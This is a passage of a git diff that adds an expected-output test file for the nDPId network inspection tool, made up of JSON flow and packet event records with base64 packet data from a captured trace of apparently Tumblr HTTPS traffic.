JXpnIKYnipEOH5Flsd7+vohDpige+YQHRZVG2LlzghLfY0gBkuppDdOhrgA5HYnUxu9FNWVkOumFlvD5W+DkRvWL\/r6ouDQB1CyE9ybFYTUoAyiclYov9WWv5JLWLTcc5oqDZRMUnk8LMnIcEEGSTbaq7GhpzepcUz6IA1KsLUj+rvvww1hoe3HUUDZgZsWwKM3jL756Ht\/OrdOVuxtL2xBIgpeu7dcLIdPrmQDbN6GAUQagfSDS0vFfbfF06tAOI2B3G36NuxPUeQdJU8QBCY12yiab\/DH\/AX6bHTMRxzY8yktz2iRCVkcb7CEdvUZY\/ZpHqZJF\/AX5PWXS\/jzQLmWyemVvh0PBn0HowzcWrkaDlMqPQ+aaxgwq8idVQc8LQM3F5G2OgOALbU="} diff --git a/test/results/tumblr.pcap.out b/test/results/tumblr.pcap.out new file mode 100644 index 000000000..ce5b9de2e --- /dev/null +++ b/test/results/tumblr.pcap.out @@ -0,0 +1,397 @@ +00503{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"tumblr.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1605292102219,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56592,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00451{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292102,"pkt_ts_usec":219041,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCcfOACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3RABu9uJhiq5D+6LgBAB9a70AAABAQgKqXs\/nsLc288="} +00503{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2,"source":"tumblr.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1605292102602,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:789d","src_port":48240,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00450{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292102,"pkt_ts_usec":602965,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gD4BTACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXidvHABuwi2Qd5sejoTgBAk6T9pAAABAQgKJEdEAsLc4vQ="} +00503{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3,"source":"tumblr.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1605292102603,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56640,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00450{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292102,"pkt_ts_usec":603001,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCYSFACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3UABuxOPqDR2fQOlgBAB9XmBAAABAQgKqXtBHsLc4vw="} +00452{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292102,"pkt_ts_usec":653473,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdELkP7ovbiYYrgBALf0cxAAABAQgKwt2S76l05rw="} +00452{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292102,"pkt_ts_usec":678719,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdQHZ9A6UTj6g1gBALxQp7AAABAQgKwt2UBql09U8="} +00524{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6,"source":"tumblr.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1605292103804,"flow_last_seen":0,"flow_tot_l4_data_len":696,"flow_min_l4_data_len":696,"flow_max_l4_data_len":696,"flow_avg_l4_data_len":696,"midstream":1,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2620:116:800d:21:8c6e:cf2c:8d6:9fb5","src_port":41266,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +01348{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292103,"pkt_ts_usec":804319,"pkt_caplen":750,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":750,"pkt_l4_len":696,"pkt":"qtsDr8lk5EKm5WPyht1gDK9YArgGQCoBywEgSYsHmR3shSjf9ikmIAEWgA0AIYxuzywI1p+1oTIBu9ziFnW6Ce2BgBgB9Z0sAAABAQgKOMLyjsLdWyEXAwMCkwAAAAAAAAAEyttPIBHYl6fl6+wxakteQia67zuCx64sVbYiAEMKI1LRZB2ZjjRACezRfqMgcw8Wk8Ja+jFsbTh6PPGiWyRnZCafAJvoLbr\/QbtaCfYNT07cM7gv8MAYjagAz2\/uUXvHhHXYjVHplnNsW6sWSYWdjj7pK3cCYJyTWWk8KcaWVSPm5FJowuyKrEBg\/xvy4liO6V1qSsclVnGU5uOkFVqkiQyVPIXxSNOn3SjKKoV+GRhNjLSyOjDMf9ZrVDwqHvTDUwRZgkE5k6+v4Ngk9WrnV1ax1ubCqnHoIel2EK4gbfVvolwb83\/d3YNFV8lq1e+SHlYke+eJRKzjNIOw4b4Y36hRm5\/D2hks6V9vGkg6sSDzHRzniE1V4ce1mOtmNnefjf42UQc2HkOmWCkUVtMokEc166qSRXnlIooPlIQBw2b0stTzXYA2D5SN\/BALZmedX1SrmcVBJ4DrMf\/xHLEmuGaRjzLDgXIUB\/jHR45QJ7tyaECd\/R1pWTx+wCe3sS0fZlg4mB6GzVlIgWc0sXiXzk4KusTcJBlT6WCFzmZVXwOxGhq4mx\/Ar34HImolLoUFN3W4QPP1XuhLobsRn8+uu1UjAIOgrakq2nUZ7wxPjCRa6GR8HhsJaaSV8kQKCsWaODSJH8qsgcj27KMOqJKDEttTsUUejaBrXacD1ursBsQeG6kxeWCpc+pc+B6lF82QSaY+dqDc0x6adlVhzh25sn9xUc5gttNEqsRpcCwXleCFl5slq6Eo208ayh44XAy4\/3sSIcuuXZecriDdQNtCpH0D9WnZpbvC6F0uUd8YgEMLKpbVgkphXTjpgJPqNLHR1Jtsu8T0zduHUyA8I2rMdecA7vfO5m6vB6zg"} +00507{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7,"source":"tumblr.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1605292103804,"flow_last_seen":0,"flow_tot_l4_data_len":676,"flow_min_l4_data_len":676,"flow_max_l4_data_len":676,"flow_avg_l4_data_len":676,"midstream":1,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::8fcc:d927","src_port":57286,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +01325{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292103,"pkt_ts_usec":804485,"pkt_caplen":730,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":730,"pkt_l4_len":676,"pkt":"qtsDr8lk5EKm5WPyht1gC36AAqQGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACPzNkn38YBu3OPNREQMJOagBgB9f9ZAAABAQgKI0OBn8LdXfIXAwMCf+a7XKOkxtVKJI04EV4D3mT6IiNw5ZdwpK\/ctvLby5AnUtCRp1wz9iXgvd8CBQl59Ed1wqXQfvbQcvgr9o4GGMRVH8BPyBiK9wAHxfoair+VUOV+cUyNlvDKwuPaUh\/47DlY44LAL0vv9eo4G0vPSmnyuohMST6JkC52HBED7hDgCc5lbkYutM3P7xGL1Z5MrmmzLXVyM4doUQOUayCKfyqRux1EiZDMeHsdoHvinwuW98Zns+5LqMwEKiz9\/ZA1Iu594xbEmeMockAnjj3HmV8YsDERU2TzTk3sWn0ZhKp12Rdx11cVSOnv1ddUqmkYpF6VPIBgfZdY0+3WEYNWwp9gOeZ1SPKEW1sZa\/MZbqxYU+ge0aUNP414S6YsDr4wWnXY\/hrIPt4hdVJid3p8HC+BYX8NVuisAelA3CsslL+yrlEZs\/QElNY2EIBitMqJSsgpwlduIlvcGoykV3DYfMjS3smQ0\/HaV+vGuY59BD+HYzkVJoRFJ5+AoB\/9kz8MrwgQrulG8+mXwGs2Tz+e0pxggDcl3iaCIQO5yUqOapIz\/jo8gXQAUjpsoKRzsKjRY\/OKBL3cj5DbujlngZrs+3yRDxMp\/A8kmIYDSMjyy21do9HW47erPa0WwNSepOx56UCCZyny26AleUHgV47LLX+Hh0DKxyVNOlUl474o9ZULR18pA1FtXPbynHGzdWF0peqNAJdGXSpxCnSDK+dkiaw9fmAlL\/EwEDJgbnaFqYBoa1wzZSNmUTmn9uQt7gG5UTLglNz7Gtm2hHwfzEK4uAknhpJOuKuRvE3auX9h725wqrVluU5SCPoyvKwHHRb0nBQK3ngxp6Haaq8pgOXbmw=="} +00512{"flow_id":4,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292103,"pkt_ts_usec":806476,"pkt_caplen":132,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":132,"pkt_l4_len":78,"pkt":"qtsDr8lk5EKm5WPyht1gDK9YAE4GQCoBywEgSYsHmR3shSjf9ikmIAEWgA0AIYxuzywI1p+1oTIBu9ziGQ26Ce2BgBgB9dicAAABAQgKOMLykMLdWyEXAwMAKQAAAAAAAAAF+jUU1elIEFUi9UepC3cLGnJUpit7lClItBx8Gs+U4NeE"} +00504{"flow_id":5,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292103,"pkt_ts_usec":807934,"pkt_caplen":125,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":125,"pkt_l4_len":71,"pkt":"qtsDr8lk5EKm5WPyht1gC36AAEcGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACPzNkn38YBu3OPN5UQMJOagBgB9TxfAAABAQgKI0OBosLdXfIXAwMAIkCDsSUDRd2gtpG1ie0hMvlOrf1SL9AYeSm49w1LAyMVmmo="} +00508{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":10,"source":"tumblr.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1605292103810,"flow_last_seen":0,"flow_tot_l4_data_len":414,"flow_min_l4_data_len":414,"flow_max_l4_data_len":414,"flow_avg_l4_data_len":414,"midstream":1,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::98c7:1593","src_port":42908,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00973{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292103,"pkt_ts_usec":810303,"pkt_caplen":468,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":468,"pkt_l4_len":414,"pkt":"qtsDr8lk5EKm5WPyht1gCmLwAZ4GQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACYxxWTp5wBu7LtL87ROW\/JgBgB9bw+AAABAQgKM4zEpsLdXIMXAwMBeeuGCWF9Lb0Ci6TEBMXMSCRU5\/ujX\/oVXdGh+BNpGjYWczn5t9MnrcPf0zR8Rsvgek65i+QCA5M9xg538hLyui9336X\/wmAqUKW0ovcGHfVkBbInk26LgYglI5Td\/ssdGWORhYySPbJXLEFtu\/h1mXhj5XU6VyNxU9SBh\/8O12l+trWyWdbANDOIW9SbvtVRvHBRVZmz1ag3okb4Plbrh4Qi4B+G74t5h0\/qMYjiEuZ1+PtpSHBW9OPbPwwcOV4UZ67nf4PG8vUha9JOewT6Ihb4Yfc7EBAGx7VHrcHsn7dvXiF8gTt9bh55AJVAbM2ak8Yu6DoJnJsa+jvwTKddiAxdtJhT3E7fBmbothroFA49N5AzGnFsh4cxhtIWJBj0s+8J1Phi\/75LUnCD0lYbxKIDoOKf0QWR08Jx8MCXKqwRPsjDU42Fi\/URG4BOwibUPBjlxMt8e\/Bx1zwNGX2TOl3lRdKcwrnMTh58G0mfgl41Ox0e5b1fEr4M"} +00506{"flow_id":6,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292103,"pkt_ts_usec":811173,"pkt_caplen":125,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":125,"pkt_l4_len":71,"pkt":"qtsDr8lk5EKm5WPyht1gCmLwAEcGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACYxxWTp5wBu7LtMUzROW\/JgBgB9W6tAAABAQgKM4zEp8LdXIMXAwMAIinMMkxOhnFjQLjLSAyia+Ge5bjIivBAhB3nTGih+nlOG64="} +00513{"flow_id":4,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292103,"pkt_ts_usec":882887,"pkt_caplen":132,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":132,"pkt_l4_len":78,"pkt":"qtsDr8lk5EKm5WPyht1gDK9YAE4GQCoBywEgSYsHmR3shSjf9ikmIAEWgA0AIYxuzywI1p+1oTIBu9ziGQ26Ce2BgBgB9dhQAAABAQgKOMLy3MLdWyEXAwMAKQAAAAAAAAAF+jUU1elIEFUi9UepC3cLGnJUpit7lClItBx8Gs+U4NeE"} +00505{"flow_id":5,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292103,"pkt_ts_usec":890874,"pkt_caplen":125,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":125,"pkt_l4_len":71,"pkt":"qtsDr8lk5EKm5WPyht1gC36AAEcGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACPzNkn38YBu3OPN5UQMJOagBgB9TwMAAABAQgKI0OB9cLdXfIXAwMAIkCDsSUDRd2gtpG1ie0hMvlOrf1SL9AYeSm49w1LAyMVmmo="} +00506{"flow_id":6,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292103,"pkt_ts_usec":902911,"pkt_caplen":125,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":125,"pkt_l4_len":71,"pkt":"qtsDr8lk5EKm5WPyht1gCmLwAEcGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACYxxWTp5wBu7LtMUzROW\/JgBgB9W5SAAABAQgKM4zFAsLdXIMXAwMAIinMMkxOhnFjQLjLSAyia+Ge5bjIivBAhB3nTGih+nlOG64="} +00452{"flow_id":4,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292103,"pkt_ts_usec":989335,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSYgARaADQAhjG7PLAjWn7UqAcsBIEmLB5kd7IUo3\/YpAbuhMroJ7YHc4hkNgBALy7KoAAABAQgKwt2ZJjjC8o4="} +00454{"flow_id":5,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292103,"pkt_ts_usec":994302,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAI\/M2ScqAcsBIEmLB5kd7IUo3\/YpAbvfxhAwk5pzjzeVgBAL44uKAAABAQgKwt2ZKiNDgZ8="} +01177{"flow_id":5,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292104,"pkt_ts_usec":3955,"pkt_caplen":613,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":613,"pkt_l4_len":559,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAi8GPQBk\/5sAAAAAAAAAAI\/M2ScqAcsBIEmLB5kd7IUo3\/YpAbvfxhAwk5pzjzeVgBgL4wrxAAABAQgKwt2ZLSNDgZ8XAwMCCgjuaM9Ndi5aitwJRGjppHY+rjHqjtok0eDgywaGTF8ATTxD8ZCxlByMU4llJrUksA9R\/lIX1zi\/jaYHxH8Acz02lPE2inK+4Ba12XOCCa3+UPf+hOzfXFk\/1ZhH9sNH4X0AmX7l+wLMC+VfMLKioTrw2t2aA\/LpM8zKfN1AfLY7NEU+DY2LROFwGwDs\/W1KGBFT+KAIL1QotJ3ZU6iaqqWMJAS+O7rFfl+b9RBqRsY\/Wkmebb6A\/2jTEP7klYU4pY0prbFc6\/DTbwVFsa+RQxKY+WhuOlAfcOx4APxzO7jSJQE\/acc9z\/o4+aF2gpKgBMBz49\/D+s1SvSiIN1bHqAcu0zasa4rBHAVJcfaJy2kq+sIrC5lFOGbGboCa4K\/O53ofxb0HE97YhKY2ztJzlaajOlzRgf\/MBggWHo4W\/i7XBp8RlR6IsHRMV6sfzm5vC7krkUblh0aYX6D1Il9mcmkQueCzOyyuk7dewKd\/awxyse2FGBVt\/mJjh8lZ9SZAyRpB7569kUBg3a7TB+KMtdl6rF57epzT53WBES+2dM6yAFeVNIh2zgg0wkjQ9GGDLMVX7WVhypxSnz8JOT\/I3jYwI+siI19fVEQ2rjRmufG94S1VUP+IWJMQtxOCGJ5rPVGMiW48aGg2tZAgdRZBTDON8Fa4gmbMY7WGfSP+1Dxhz\/5t9pCmuSxh3A=="} +00449{"flow_id":5,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292104,"pkt_ts_usec":3997,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gC36AACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACPzNkn38YBu3OPN7wQMJWpgBAB8ZJ8AAABAQgKI0OCZsLdmS0="} +00451{"flow_id":6,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292104,"pkt_ts_usec":4451,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAJjHFZMqAcsBIEmLB5kd7IUo3\/YpAbunnNE5b8my7TFMgBANk1L3AAABAQgKwt2ZMzOMxKY="} +00999{"flow_id":4,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292104,"pkt_ts_usec":4452,"pkt_caplen":486,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":486,"pkt_l4_len":432,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAbAGPSYgARaADQAhjG7PLAjWn7UqAcsBIEmLB5kd7IUo3\/YpAbuhMroJ7YHc4hkNgBgLy5LaAAABAQgKwt2ZMjjC8o4XAwMBiwT4a6EVPf\/L\/RBVKbOPxEu\/y9ILzdfEU2n6fybtl\/K81gQKTX3TH3RKwO\/NmM\/sbyeN2qUDPNqkUAediJUMxg9dl\/tUIlEmQj1HB2ObjyQR4+lUrBjA0q+4Ne3UxskIbvMvu4SqJlj+kFPwTjl85c4rkJ+9ARCbB0y9uDTWurcadd3MQ1ifYHVwTZpcpCdJNJMST7qTWHtzP8CSrD68DhUfJzqUZyO64IMpxctYP0uvqQM6e1AwS++KVLwHjrtzQ6fEEuvoMd3IweSTeyIWSw1yLCWowzEvuJY7KzDakDKfzP6OE463Kq4ZHTZ2kraJiX4AGM5BBShxnE\/\/M4O6qqUpnITxsTnB50kKqEjRwxiaKa3iAWdwOmpO93c3vUwr\/a8MqLaRVGEpl4\/d0lVNj76H9AODA\/v1BitWgJav6hcnBDR08RHJ0Rx0IcrZ0QZCIz5Z9j56Hdx7cINoD9e\/QBlHkN+\/9vtv77e192UQ+mvH0olgkBJl6BGzvLTDuj+OljtWzLPiAYy3uE7z"} +00450{"flow_id":4,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292104,"pkt_ts_usec":4453,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSYgARaADQAhjG7PLAjWn7UqAcsBIEmLB5kd7IUo3\/YpAbuhMroJ7xHc4hk7gBAL0LDVAAABAQgKwt2ZNDjC8pA="} +00451{"flow_id":6,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292104,"pkt_ts_usec":4453,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAJjHFZMqAcsBIEmLB5kd7IUo3\/YpAbunnNE5b8my7TFzgBANmFLKAAABAQgKwt2ZMzOMxKc="} +00451{"flow_id":6,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292104,"pkt_ts_usec":4454,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAJjHFZMqAcsBIEmLB5kd7IUo3\/YpAbunnNE5b8my7TFzgBANmFJvAAABAQgKwt2ZMzOMxQI="} +00449{"flow_id":4,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292104,"pkt_ts_usec":4481,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDK9YACAGQCoBywEgSYsHmR3shSjf9ikmIAEWgA0AIYxuzywI1p+1oTIBu9ziGTu6Ce8RgBAB9bnsAAABAQgKOMLzVsLdmTI="} +00452{"flow_id":5,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":25,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292104,"pkt_ts_usec":4818,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAI\/M2ScqAcsBIEmLB5kd7IUo3\/YpAbvfxhAwlalzjze8gBAL6IlDAAABAQgKwt2ZMyNDgaI="} +00506{"flow_id":5,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292104,"pkt_ts_usec":7225,"pkt_caplen":125,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":125,"pkt_l4_len":71,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAEcGPQBk\/5sAAAAAAAAAAI\/M2ScqAcsBIEmLB5kd7IUo3\/YpAbvfxhAwlalzjze8gBgL6GxpAAABAQgKwt2ZNSNDgfUXAwMAIst0CVj1q7qjJi3yf7Hh1SGYgyYWzkPSS2hhB4q5XnE4NGc="} +00505{"flow_id":6,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":27,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292104,"pkt_ts_usec":7226,"pkt_caplen":125,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":125,"pkt_l4_len":71,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAEcGPQBk\/5sAAAAAAAAAAJjHFZMqAcsBIEmLB5kd7IUo3\/YpAbunnNE5b8my7TFzgBgNmMBsAAABAQgKwt2ZNTOMxQIXAwMAIv+9arGN2B1xrSO9lbJghFcPZCl7S9sdh1ux31oaDcGlXio="} +00449{"flow_id":5,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292104,"pkt_ts_usec":7252,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gC36AACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACPzNkn38YBu3OPN7wQMJXQgBAB9ZJFAAABAQgKI0OCasLdmTU="} 